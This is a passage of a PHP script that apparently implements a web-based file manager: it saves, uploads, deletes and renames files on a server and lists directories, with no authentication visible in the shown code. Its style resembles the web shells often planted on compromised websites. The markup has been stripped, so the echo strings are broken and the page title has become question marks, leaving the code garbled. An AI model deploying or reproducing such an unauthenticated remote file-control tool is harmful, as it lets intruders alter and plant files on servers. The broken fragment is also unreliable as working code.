' . htmlspecialchars($p) . ''; } return implode(' / ', $out); } $msg = ''; /* ================= SAVE FILE (ANTI 0 KB) ================= */ if (isset($_POST['save'], $_POST['file'], $_POST['content'])) { $file = basename($_POST['file']); $target = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($target) && is_writable($target)) { $tmp = $target . '.tmp_' . uniqid('', true); $bytes = file_put_contents($tmp, $_POST['content'], LOCK_EX); if ($bytes !== false && filesize($tmp) > 0) { rename($tmp, $target); $msg = 'File saved successfully.'; } else { @unlink($tmp); $msg = 'Write failed. File NOT modified.'; } } else { $msg = 'File not writable.'; } } /* ================= UPLOAD ================= */ if (!empty($_FILES['upload']['name'])) { if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) { $name = basename($_FILES['upload']['name']); $dest = $cwd . DIRECTORY_SEPARATOR . $name; if (!file_exists($dest) && move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $msg = 'Upload successful.'; } else { $msg = 'Upload failed or file exists.'; } } else { $msg = 'Upload error.'; } } /* ================= DELETE FILE ================= */ if (isset($_POST['delete'], $_POST['file'])) { $file = basename($_POST['file']); $target = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($target) && is_writable($target)) { unlink($target); $msg = 'File deleted successfully.'; } else { $msg = 'File not deletable.'; } } /* ================= RENAME FILE ================= */ if (isset($_POST['rename'], $_POST['old'], $_POST['new'])) { $old = basename($_POST['old']); $new = basename($_POST['new']); $oldPath = $cwd . DIRECTORY_SEPARATOR . $old; $newPath = $cwd . DIRECTORY_SEPARATOR . $new; if ($new === '') { $msg = 'New filename cannot be empty.'; } elseif (!is_file($oldPath)) { $msg = 'Source file not found.'; } elseif (file_exists($newPath)) { $msg = 'Target filename already exists.'; } elseif (rename($oldPath, $newPath)) { $msg = 'File renamed successfully.'; } else { $msg = 'Rename failed.'; } } ?> ????????????

PATH:




'; while (($i = readdir($h)) !== false) { if ($i === '.') continue; $p = $cwd . DIRECTORY_SEPARATOR . $i; if (is_dir($p)) { echo '
  • [+] ' . htmlspecialchars($i) . '
  • '; } else { echo '
  • [-] ' . htmlspecialchars($i) . ' [edit]
  • '; } } closedir($h); echo ''; ?>